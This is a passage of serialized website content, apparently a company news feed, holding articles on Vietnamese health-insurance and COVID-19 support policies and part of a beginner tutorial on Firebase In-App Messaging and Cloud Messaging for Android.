[{"data":1,"prerenderedAt":22674},["ShallowReactive",2],{"all-news-en":3},[4,81,252,270,389,1328,1734,2127,2252,2372,2449,2552,2628,2875,3041,3057,3073,3089,3105,3121,3137,3500,3550,3623,3906,4124,4188,4266,4342,4357,4545,4617,4762,4915,5303,5792,5919,6139,6204,6589,6637,6724,6772,6911,7023,7093,7158,7225,7826,8312,8328,8462,8657,8925,9457,9629,11444,11484,11500,11516,11532,12198,12307,12323,12531,12758,12848,13190,13278,13380,13436,13491,13552,13604,13654,13702,13754,13801,13846,13934,15226,15462,16146,16708,16725,17404,17420,18521,18621,18889,18933,19058,19108,19134,19241,20433,20449,21122,21139,21677,22455,22539],{"id":5,"title":6,"body":7,"category":69,"created by":70,"date":71,"description":13,"extension":72,"meta":73,"navigation":74,"path":75,"sections":76,"seo":77,"stem":78,"thumbnail":79,"__hash__":80},"content_en\u002Fnews\u002F03-truong-hop-kham-chua-benh-dung-tuyen-bhyt-lien-quan-den-dich-covid-19.md","03 CASES OF APPROPRIATE MEDICAL EXAMINATION AND TREATMENT FEES UNDER HEALTH INSURANCE RELATED TO COVID-19",{"type":8,"value":9,"toc":65},"minimark",[10,14,17,24,30,40,46],[11,12,13],"p",{},"In Official Dispatch No. 3100\u002FBYT-BH dated 20\u002F04\u002F2021, the Ministry of Health has issued provisional guidelines for settling costs for medical examination and treatment covered by health insurance, related to the Covid-19 pandemic.",[11,15,16],{},"Accordingly, there are 03 cases that are considered as medical examination and treatment with health insurance at the right level, related to the Covid-19 epidemic as follows:",[11,18,19,23],{},[20,21,22],"strong",{},"1. The first:"," For each holder of health insurance cards who are experiencing concentrated medical quarantine due to Covid-19 and must get medical service at health facilities: Health Insurance Fund shall settle costs for medical examination and treatment for other diseases within the scope of insurance liability and amount similar to cases of medical examination and treatment inappropriate level, except for medical examination and treatment resulting from COVID-19 paid by the State budget, including costs for medical examination, hospital beds, technical services, medicine, blood, intravenous fluid, etc. according to guidelines of Ministry of Health;",[11,25,26,29],{},[20,27,28],{},"2. The Second:"," In case medical examination and treatment establishments, utilize health insurance must organize concentrated quarantine under decisions of competent authorities or are assigned by competent authorities to provide medical examination and treatment for persons infected or suspected to have been infected with COVID-19, Departments of Health shall cooperate with Social Security of provinces and central-affiliated cities:",[31,32,33,37],"ul",{},[34,35,36],"li",{},"Instruct applicants for initial medical examination and treatment under health insurance in the medical examination and treatment establishments to apply for initial medical examination and treatment in other establishments within provinces and cities;",[34,38,39],{},"Instruct medical examination and treatment establishments to transfer patients to establishments in other levels for medical examination and treatment depending on epidemic situations.",[11,41,42,45],{},[20,43,44],{},"3. The third:"," For patients who have been prescribed, issued with medicines, medical equipment, provided with treatment, issued with a notice of re-examination appointment or medical examination number, medical records for re-examination appointment (referred to as “notice of re-examination appointment”) by medical examination and treatment establishments but are unable to arrive for re-examination.Patients may use notice of re-examination appointment of medical examination and treatment establishments that issue the notice in other medical examination and treatment establishments accepting health insurance under guidelines of the issuing establishments and guidelines of Departments of Health, local Social Security where the patients reside or undergo quarantine to receive medical examination and treatment.In case the epidemic has ceased, patients may use notice of re-examination of medical examination and treatment establishments that issue medicine and medical equipment to receive medical examination and treatment in medical examination and treatment establishments that deliver medicine and medical equipment.These cases are defined to be medical examinations and treatments covered by health insurance at appropriate levels.",[11,47,48,61,62],{},[20,49,50],{},[51,52,53,54],"em",{},"Reference: ",[55,56,60],"a",{"href":57,"rel":58},"https:\u002F\u002Fthuvienphapluat.vn\u002Fcong-van\u002FTai-chinh-nha-nuoc\u002FCong-van-3100-BYT-BH-2021-thanh-toan-chi-phi-kham-chua-benh-lien-quan-den-dich-COVID19-471655.aspx",[59],"nofollow","Official Dispatch 3100\u002FBYT-BH","  ",[55,63],{"href":57,"rel":64},[59],{"title":66,"searchDepth":67,"depth":67,"links":68},"",2,[],"news","Briswell Vietnam Co Ltd","2021-07-16","md",{},true,"\u002Fnews\u002F03-truong-hop-kham-chua-benh-dung-tuyen-bhyt-lien-quan-den-dich-covid-19",null,{"title":6,"description":13},"news\u002F03-truong-hop-kham-chua-benh-dung-tuyen-bhyt-lien-quan-den-dich-covid-19","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F05\u002F24094253\u002FKCBdungtuyenlienquandenCovid19.png","AQCVdswS8u5A2fvL8l6qQhLsHQkkCmWJjOjCztu3Zso",{"id":82,"title":83,"body":84,"category":69,"created by":243,"date":244,"description":245,"extension":72,"meta":246,"navigation":74,"path":247,"sections":76,"seo":248,"stem":249,"thumbnail":250,"__hash__":251},"content_en\u002Fnews\u002F5-chinh-sach-moi-anh-huong-den-quyen-loi-bao-hiem-y-te-co-hieu-luc-tu-01-07-2021.md","5 NEW POLICIES AFFECTING HEALTH INSURANCE BENEFITS EFFECTIVE FROM 01\u002F07\u002F2021",{"type":8,"value":85,"toc":241},[86,89,94,97,100,103,109,112,120,123,128,131,139,144,147,150,158,163,166,169,183,186,197,202],[11,87,88],{},"From 01\u002F07\u002F2021, there are a number of documents officially coming into effect that directly affect the benefits of the participants of health insurance (HI) are listed below:",[11,90,91],{},[20,92,93],{},"1\u002F Changing the concept of “Household participating in health insurance”",[11,95,96],{},"The Law on Residence 2020 takes effect on 01\u002F07\u002F2021, this Law amends the regulations on households participating in HI under the HI law.",[11,98,99],{},"In detail: Households participating in HI are those who jointly register for permanent residence or temporary residence at a lawful residence as prescribed by law (previously, the HI law stipulates that a household participating in HI is all the people named in the household registration book or temporary residence book).",[11,101,102],{},"The reason for this change is because the new Residence Law has officially eliminated the household registration book.",[11,104,105,106],{}," \n",[20,107,108],{},"2\u002F More subjects are granted free health insurance cards",[11,110,111],{},"Decree 20\u002F2021\u002FND-CP on social assistance policies for beneficiaries of social protection will also take effect from 01\u002F07\u002F2021, this decree adds a number of cases where free HI cards are granted such as:",[31,113,114,117],{},[34,115,116],{},"The poor or near-poor households who are single and are raising children under 16 years old or are raising children aged between 16 and 22 years old and that child is studying culture, vocational training, professional secondary school, college or university (previously, only their children were supported to issue HI cards).",[34,118,119],{},"People infected with HIV\u002FAIDS belong to poor households without stable monthly income sources such as salary, wages, pension, social insurance allowance, monthly social allowance.",[11,121,122],{},"➜ According to this Decree, in case a person is eligible for multiple types of HI cards, only one HI card with the highest benefits will be issued.",[11,124,125],{},[20,126,127],{},"3\u002F Health insurance policy for relatives of war invalids and sick soldiers",[11,129,130],{},"The Ordinance on Incentives for people with merit No. 02\u002F2020\u002FUBTVQH14 also takes effect from 01\u002F07\u002F2021, according to this ordinance, not only war invalids and sick soldiers but their relatives are also entitled to this policy. In detail:",[31,132,133,136],{},[34,134,135],{},"Natural parents, spouse, children from full 6 years old to under 18 years old or 18 years old or older, if they continue to go to school or are severely disabled, policy beneficiaries such as war invalids and sick soldiers with an injury rate of 61% or more;",[34,137,138],{},"Servicemen, war invalids, beneficiaries of policies like invalids, and servicemen of war invalids with a body injury rate of 81% or more live in the same house.",[11,140,141],{},[20,142,143],{},"4\u002F Paying for medical examination and treatment costs",[11,145,146],{},"Date 01\u002F07\u002F2021 is the time to apply Circular 04\u002F2021\u002FTT-BYT guiding the payment of medical examination and treatment expenses with HI according to the capitation rate.",[11,148,149],{},"According to this circular, the capitation fund is a predetermined amount of money assigned to a healthcare facility with HI for outpatient medical examination and treatment for patients with HI cards within the quota within a certain period of time.",[31,151,152,155],{},[34,153,154],{},"The scope of capitation for hospitals at the district level and below is the entire cost of outpatient medical examination and treatment within the scope of benefits of the insured, minus a number of other expenses.",[34,156,157],{},"The scope of capitation for provincial and central hospitals is the entire cost of outpatient medical examination and treatment within the quota of patients registering for initial medical examination and treatment incurred at the facility, minus a number of other expenses.",[11,159,160],{},[20,161,162],{},"5\u002F The price of medical examination and treatment services must be publicized for holders of health insurance cards",[11,164,165],{},"Also from 01\u002F07\u002F2021, Circular 05\u002F2021\u002FTT-BYT - implementing democracy in medical examination and treatment activities at public hospitals will be applied.",[11,167,168],{},"This circular specifies that public hospitals need to disclose:",[31,170,171,174,177,180],{},[34,172,173],{},"Fees for medical examination and treatment services for patients with HI cards;",[34,175,176],{},"Fees for unsolicited medical examination and treatment services for patients without HI cards;",[34,178,179],{},"The regime of exemption and reduction of medical examination and treatment services;",[34,181,182],{},"Implement HI policies, pay prices and costs of medical examination and treatment covered by HI.",[11,184,185],{},"In addition, patients are also entitled to participate in:",[31,187,188,191,194],{},[34,189,190],{},"Contribute ideas and supervise the implementation of health regimes and policies related to their legitimate rights and interests;",[34,192,193],{},"HI policy;",[34,195,196],{},"Service attitude of the doctor.",[11,198,199],{},[20,200,201],{},"References:",[203,204,205,213,220,227,234],"ol",{},[34,206,207,208,212],{},"Residence Law 2020: ",[55,209,210],{"href":210,"rel":211},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FQuyen-dan-su\u002FLuat-68-2020-QH14-cu-tru-435315.aspx",[59]," ",[34,214,215,216],{},"Decree 20\u002F2021\u002FND-CP: ",[55,217,218],{"href":218,"rel":219},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002Fvan-hoa-xa-hoi\u002FNghi-dinh-20-2021-ND-CP-chinh-sach-tro-giup-xa-hoi-doi-voi-doi-tuong-bao-tro-xa-hoi-467723.aspx",[59],[34,221,222,223],{},"Ordinance No: 02\u002F2020\u002FUBTVQH14: ",[55,224,225],{"href":225,"rel":226},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FVan-hoa-Xa-hoi\u002FPhap-lenh-02-2020-UBTVQH14-uu-dai-nguoi-co-cong-voi-Cach-mang-460718.aspx",[59],[34,228,229,230,212],{},"Circular 04\u002F2021\u002FTT-BYT: ",[55,231,232],{"href":232,"rel":233},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002Fbao-hiem\u002FThong-tu-04-2021-TT-BYT-thanh-toan-chi-phi-kham-chua-benh-bao-hiem-y-te-theo-dinh-suat-384208.aspx",[59],[34,235,236,237],{},"Circular 05\u002F2021\u002FTT-BYT: ",[55,238,239],{"href":239,"rel":240},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002Fbo-may-hanh-chinh\u002FThong-tu-05-2021-TT-BYT-thuc-hien-dan-chu-trong-hoat-dong-co-so-kham-chua-benh-cong-lap-465922.aspx",[59],{"title":66,"searchDepth":67,"depth":67,"links":242},[],"TRAN VO THI BAO","2021-09-01","From 01\u002F07\u002F2021, there are a number of documents officially coming into effect that directly affect the benefits of the participants of health insurance (HI).",{},"\u002Fnews\u002F5-chinh-sach-moi-anh-huong-den-quyen-loi-bao-hiem-y-te-co-hieu-luc-tu-01-07-2021",{"title":83,"description":245},"news\u002F5-chinh-sach-moi-anh-huong-den-quyen-loi-bao-hiem-y-te-co-hieu-luc-tu-01-07-2021","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F08\u002F02170756\u002F5ChinhSachMoiAnhHuongDenBHYT.png","LWvCI5KUmmOE8koD5tuedIhVmRbuGp07PbFxvnpQQEM",{"id":253,"title":254,"body":255,"category":262,"created by":70,"date":263,"description":259,"extension":72,"meta":264,"navigation":74,"path":265,"sections":76,"seo":266,"stem":267,"thumbnail":268,"__hash__":269},"content_en\u002Fnews\u002F7-nguyen-tac-trong-kiem-thu-phan-mem.md","(日本語) テストの7原則",{"type":8,"value":256,"toc":260},[257],[11,258,259],{},"Sorry, this entry is only available in 日本語 and Vietnamese.",{"title":66,"searchDepth":67,"depth":67,"links":261},[],"testing","2024-10-14",{},"\u002Fnews\u002F7-nguyen-tac-trong-kiem-thu-phan-mem",{"title":254,"description":259},"news\u002F7-nguyen-tac-trong-kiem-thu-phan-mem","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F10\u002F06170731\u002FScreenshot-2024-11-06-170623-1.png","uAZTeeMbwIHsy5NfkdvYEZlh7xgaaVl9rMjr9JkTi44",{"id":271,"title":272,"body":273,"category":69,"created by":70,"date":381,"description":382,"extension":72,"meta":383,"navigation":74,"path":384,"sections":76,"seo":385,"stem":386,"thumbnail":387,"__hash__":388},"content_en\u002Fnews\u002F7subject-benefit-covid19.md","7 SUBJECTS CAN GET BENEFIT SUPPORT BECAUSE OF THE EFFECT COVID-19 VIRUS",{"type":8,"value":274,"toc":379},[275],[276,277,278,300],"table",{},[279,280,281],"thead",{},[282,283,284,290,295],"tr",{},[285,286,287],"th",{},[20,288,289],{},"No",[285,291,292],{},[20,293,294],{},"Subject",[285,296,297],{},[20,298,299],{},"Support level",[301,302,303,315,326,337,347,358,368],"tbody",{},[282,304,305,309,312],{},[306,307,308],"td",{},"1",[306,310,311],{},"Employees have to delay a labour contract, leave their job and don't calculate salary over 1 month.",[306,313,314],{},"1.800.000 vnd\u002F person\u002F month",[282,316,317,320,323],{},[306,318,319],{},"2",[306,321,322],{},"The employer has financial difficulties and already paid a 50% stop-working salary to their employee.",[306,324,325],{},"Permission business loan capital maximum 50% of region minimum wage for each employee with interest 0%.",[282,327,328,331,334],{},[306,329,330],{},"3",[306,332,333],{},"Business Households have revenue under 100 million\u002F year and stop temporarily business.",[306,335,336],{},"1.000.000 vnd\u002F person\u002F month",[282,338,339,342,345],{},[306,340,341],{},"4",[306,343,344],{},"The Employee has to stop the labour contract but not enough conditions get unemployment insurance, employees don't have labour contracts and lose a job.",[306,346,336],{},[282,348,349,352,355],{},[306,350,351],{},"5",[306,353,354],{},"Who have contributed to the revolution are getting a monthly preferential allowance.",[306,356,357],{},"500.000 vnd\u002F person\u002F month",[282,359,360,363,366],{},[306,361,362],{},"6",[306,364,365],{},"Social protection beneficiaries are getting a monthly social allowance.",[306,367,357],{},[282,369,370,373,376],{},[306,371,372],{},"7",[306,374,375],{},"Poor, near-poor households.",[306,377,378],{},"250.000 vnd\u002F person\u002F month",{"title":66,"searchDepth":67,"depth":67,"links":380},[],"2020-05-21","No Subject Support level 1 Employees have to delay a labour contract, leave their job and don’t calculate salary over 1 month. 1.800.000 vnd\u002F person\u002F month 2 The employer has financial difficulties and already paid a 50% stop-working salary to their employee. Permission business loan capital maximum 50% of region minimum wage for each employee with interest 0%. 3 Business Households have revenue under",{},"\u002Fnews\u002F7subject-benefit-covid19",{"title":272,"description":382},"news\u002F7subject-benefit-covid19","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F05\u002F13074306\u002F33175415-vietnamese-money-dong-spread-background-texture.jpg","_XCQcAqAoP2uggvK8ruSm2rk9txkUXIWJnVJ6kNad3g",{"id":390,"title":391,"body":392,"category":1317,"created by":70,"date":1320,"description":1321,"extension":72,"meta":1322,"navigation":74,"path":1323,"sections":76,"seo":1324,"stem":1325,"thumbnail":1326,"__hash__":1327},"content_en\u002Fnews\u002Fandroid-firebase-for-beginer.md","Android Firebase for beginers",{"type":8,"value":393,"toc":1299},[394,402,407,416,420,427,437,445,451,455,465,475,479,495,514,520,530,534,542,546,556,560,564,569,572,576,599,604,614,618,623,627,639,643,669,679,692,696,703,707,713,717,731,733,737,748,750,754,761,764,779,781,785,789,792,795,798,812,816,821,827,834,838,849,853,861,865,879,883,888,894,898,919,926,932,936,943,949,953,962,968,972,975,979,987,993,1001,1005,1028,1032,1039,1043,1052,1057,1070,1078,1082,1087,1091,1104,1106,1110,1114,1117,1120,1123,1133,1137,1142,1146,1154,1159,1165,1170,1177,1182,1185,1191,1197,1200,1206,1209,1215,1222,1226,1231,1237,1241,1246,1252,1256,1261,1267,1271,1275,1281,1287,1293],[395,396,399],"h1",{"style":397,"id":398},"text-align:center;","firebase",[20,400,401],{},"Firebase",[403,404,406],"h2",{"id":405},"i-what-is-firebase","I. What is Firebase",[11,408,409,410,415],{},"Google Firebase is a Google-backed application development software that enables developers to develop iOS, Android and ",[55,411,414],{"href":412,"rel":413},"https:\u002F\u002Fsearchsoftwarequality.techtarget.com\u002Fdefinition\u002FWeb-application-Web-app",[59],"Web apps",". Firebase provides tools for tracking analytics, reporting and fixing app crashes, creating marketing and product experiment. Firebase has many services and today I'm going to introduce to in-app messaging, cloud messages and real-time databases.",[403,417,419],{"id":418},"ii-add-firebase-to-your-app","II. Add Firebase to your app",[11,421,422,423],{},"Before you integrate Firebase into your Android app, you need to create a Firebase project to connect to your Android app. log in to Firebase console in this link ",[55,424,425],{"href":425,"rel":426},"https:\u002F\u002Fconsole.firebase.google.com\u002F?hl=en",[59],[11,428,429,432,433,436],{},[20,430,431],{},"Step 1",": After you signed-in to Firebase, click on \"",[20,434,435],{},"Create a project","\".",[438,439],"img",{"className":440,"alt":66,"src":443,"style":444},[441,442],"block","mx-auto","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07075255\u002FScreen-Shot-2020-02-20-at-9.31.55-AM.png","width: 100%;",[11,446,447,450],{},[20,448,449],{},"Step 2",": There are steps to take to create a new Firebase project. Click on Android icon.",[438,452],{"className":453,"alt":66,"src":454,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07075332\u002FScreen-Shot-2020-02-20-at-9.43.53-AM.png",[11,456,457,460,461,464],{},[20,458,459],{},"Step 3",": Enter your \"",[20,462,463],{},"Android package name","\" the same as package name in AndroidManifest",[11,466,467,472],{},[438,468],{"className":469,"alt":66,"src":470,"style":471},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07075551\u002FScreen-Shot-2020-02-21-at-3.19.26-PM.png","width: 70%;",[473,474],"br",{},[438,476],{"className":477,"alt":66,"src":478,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07075616\u002FScreen-Shot-2020-02-20-at-9.51.12-AM-1024x121.png",[11,480,481,484,485,488,489,493],{},[20,482,483],{},"Step 4",":  Download \"",[20,486,487],{},"google-services.json\""," and add to the project.\n",[438,490],{"className":491,"alt":66,"src":492,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07075822\u002FScreen-Shot-2020-02-21-at-3.20.06-PM.png",[473,494],{},[11,496,497,498,501,502,507,508,510],{},"Click on Project to switch view, you will see the root directory of the project . Put the \"",[20,499,500],{},"google-services.json","\" file into  \"Project\u002F~\u002Fapp\" folder.\n",[438,503],{"className":504,"alt":66,"src":505,"style":506},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07075857\u002FScreen-Shot-2020-02-20-at-9.56.43-AM.png","width: 50%;"," ",[473,509],{},[438,511],{"className":512,"alt":66,"src":513,"style":506},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07075949\u002FScreen-Shot-2020-02-20-at-9.58.50-AM.png",[11,515,516,519],{},[20,517,518],{},"Step 5",": Add Firebase SDK.",[11,521,522,525,526,529],{},[20,523,524],{},"1."," In \"",[20,527,528],{},"build.gradle","\" (Project):",[438,531],{"className":532,"alt":66,"src":533,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07080017\u002FScreen-Shot-2020-02-20-at-10.06.20-AM-1024x479.png",[11,535,536,525,539,541],{},[20,537,538],{},"2.",[20,540,528],{},"\" (app):",[438,543],{"className":544,"alt":66,"src":545,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07080017\u002FScreen-Shot-2020-02-20-at-10.06.20-AM.png",[11,547,548,551,552,555],{},[20,549,550],{},"Step 6",": Run and wait Firebase verify the app, you will see message when success, click on “",[20,553,554],{},"Continue to console","”.",[438,557],{"className":558,"alt":66,"src":559,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07080122\u002FScreen-Shot-2020-02-19-at-4.31.20-PM-31.png",[403,561,563],{"id":562},"iiiin-app-message","III. In-App Message",[565,566,568],"h3",{"id":567},"_1-introduction","1. Introduction",[11,570,571],{},"Firebase In-App Messaging helps you engage your app's active users by sending them targeted, contextual messages that encourage them to use key app features. For example, you could send an in-app message to get users to subscribe, watch a video, complete a level, or buy an item. You can customize messages as cards, banners, modals, or images, and set up triggers so that they appear exactly when they'd benefit your users most.",[565,573,575],{"id":574},"_2-get-start","2. Get start",[11,577,578,580,581,507,584,587,588,590,591,594,595],{},[20,579,431],{},": Add “",[20,582,583],{},"implementation",[20,585,586],{},"‘com.google.firebase:firebase-inappmessaging-display:19.0.3’"," into \"",[20,589,528],{},"\" (app) and Click \"",[20,592,593],{},"Sync Now","\". ",[438,596],{"className":597,"alt":66,"src":598,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07080223\u002FScreen-Shot-2020-02-19-at-4.51.31-PM-33-1024x641.png",[11,600,601,603],{},[20,602,449],{},": Get Firebase instance ID (this id's used to test in-app message on Firebase).",[605,606,611],"pre",{"className":607,"code":609,"language":610},[608],"language-text","private fun createInstanceId() {\n    FirebaseInstanceId.getInstance().instanceId.addOnCompleteListener { task ->\n        if (!task.isSuccessful) {\n            Log.w(TAG, \"getInstanceId failed\", task.exception)\n            return@addOnCompleteListener\n        }\n\n        \u002F\u002Fcreate new instance id Token\n        val msg = task.result?.id\n        Log.d(TAG, \"token: $msg\")\n    }\n}\n","text",[612,613,609],"code",{"__ignoreMap":66},[438,615],{"className":616,"alt":66,"src":617,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07080253\u002FScreen-Shot-2020-02-19-at-5.01.04-PM-35-1024x417.png",[11,619,620,622],{},[20,621,459],{},": Run the app and open \"Logcat\" tool, we will see the ID token.",[438,624],{"className":625,"alt":66,"src":626,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07080319\u002FScreen-Shot-2020-02-19-at-5.23.36-PM-51-1024x625.png",[11,628,629,631,632,635,636,555],{},[20,630,483],{},": Copy the ID token, open Firebase console -> \"",[20,633,634],{},"In-App Messaging","\", click “",[20,637,638],{},"Create your first campaign",[438,640],{"className":641,"alt":66,"src":642,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07080401\u002FScreen-Shot-2020-02-19-at-5.06.23-PM-41-1024x606.png",[11,644,645,647,648,651,652,655,656,659,660,664,665],{},[20,646,518],{},": Enter \"",[20,649,650],{},"Message title","\" (ex: Hello I'm FireBase), \"",[20,653,654],{},"Body","\" (optional), \"",[20,657,658],{},"Images","\" (ex: ",[55,661,662],{"href":662,"rel":663},"https:\u002F\u002Fcdn.pixabay.com\u002Fphoto\u002F2015\u002F10\u002F12\u002F14\u002F54\u002Fcoffee-983955_960_720.jpg",[59],") ",[438,666],{"className":667,"alt":66,"src":668,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07080500\u002FScreen-Shot-2020-02-19-at-5.12.17-PM-45-1.png",[11,670,671,672,594,675],{},"Add \"",[20,673,674],{},"Button text",[438,676],{"className":677,"alt":66,"src":678,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07080533\u002FScreen-Shot-2020-02-19-at-5.12.47-PM-47.png",[11,680,681,683,684,687,688,691],{},[20,682,550],{},": Click “",[20,685,686],{},"Test on Device","”, and paste the ID token into \"",[20,689,690],{},"Add an instance ID","\" field.",[438,693],{"className":694,"alt":66,"src":695,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07080559\u002FScreen-Shot-2020-02-19-at-5.17.37-PM-49.png",[11,697,698,699,702],{},"Firebase In-App Messaging sends the test message as soon as you click \"",[20,700,701],{},"Test","\". To see it, move the app to background, then re-open the app on your testing device.",[438,704],{"className":705,"alt":66,"src":706,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07080625\u002FScreen-Shot-2020-02-19-at-5.24.22-PM-53-1024x663.png",[11,708,709,712],{},[20,710,711],{},"Result",":",[438,714],{"className":715,"alt":66,"src":716,"style":506},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07080648\u002FScreenshot_20200219-173204-57-768x1365.jpg",[11,718,719,722,723,726,727],{},[20,720,721],{},"Step 7",": After test successfully, click \"",[20,724,725],{},"Next\""," to continue. ",[438,728],{"className":729,"alt":66,"src":730,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07080709\u002FScreen-Shot-2020-02-20-at-10.50.56-AM.png",[473,732],{},[438,734],{"className":735,"alt":66,"src":736,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07080755\u002FScreen-Shot-2020-02-20-at-10.54.15-AM.png",[11,738,739,740,743,744],{},"Click \"",[20,741,742],{},"Review","\" to publish your message. ",[438,745],{"className":746,"alt":66,"src":747,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07080836\u002FScreen-Shot-2020-02-20-at-10.56.19-AM.png",[473,749],{},[438,751],{"className":752,"alt":66,"src":753,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07080911\u002FScreen-Shot-2020-02-20-at-10.55.31-AM-1024x663.png",[11,755,756,757,760],{},"When click \"",[20,758,759],{},"Publish","\" message will send to the app.",[11,762,763],{},"Result:",[765,766,771,775],"div",{"className":767},[768,769,770],"flex","justify-center","gap-4",[438,772],{"className":773,"alt":66,"src":774,"style":506},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07080936\u002FScreenshot_20200219-173204-57-1-576x1024.jpg",[438,776],{"className":777,"alt":66,"src":778,"style":506},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07080953\u002FScreenshot_20200219-173801-59-576x1024.jpg",[473,780],{},[438,782],{"className":783,"alt":66,"src":784,"style":506},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081013\u002FScreenshot_20200219-173901-61-576x1024.jpg",[403,786,788],{"id":787},"iv-cloud-message","IV. Cloud Message",[565,790,568],{"id":791},"_1-introduction-1",[11,793,794],{},"Firebase Cloud Messaging (FCM) is a cross-platform messaging solution that lets you reliably send messages at no cost. Using FCM, you can notify a client app that new email or other data is available to sync. You can send notification messages to drive user re-engagement and retention. For use cases such as instant messaging, a message can transfer a payload of up to 4KB to a client app.",[565,796,575],{"id":797},"_2-get-start-1",[11,799,800,580,802,507,804,807,808,590,810,436],{},[20,801,431],{},[20,803,583],{},[20,805,806],{},"‘com.google.firebase:firebase-messaging:20.1.0’"," \"into \"",[20,809,528],{},[20,811,593],{},[438,813],{"className":814,"alt":66,"src":815,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081040\u002FScreen-Shot-2020-02-20-at-8.07.39-AM-63-1024x627.png",[11,817,818,820],{},[20,819,449],{}," : Add filter to AndroidManifest file.",[605,822,825],{"className":823,"code":824,"language":610},[608],"\u003Cservice\n    android:name=\".java.MyFirebaseMessagingService\"\n    android:exported=\"false\">\n    \u003Cintent-filter>\n        \u003Caction android:name=\"com.google.firebase.MESSAGING_EVENT\" \u002F>\n    \u003C\u002Fintent-filter>\n\u003C\u002Fservice>\n",[612,826,824],{"__ignoreMap":66},[11,828,829,830,833],{},"MyFirebaseMessagingService is a service that extends ",[51,831,832],{},"FirebaseMessagingService",". This is required when you want to do any message handling beyond receiving notifications on apps in the background. To receive notifications in foreground apps, to receive data payload, to send upstream messages, and so on, you must use this 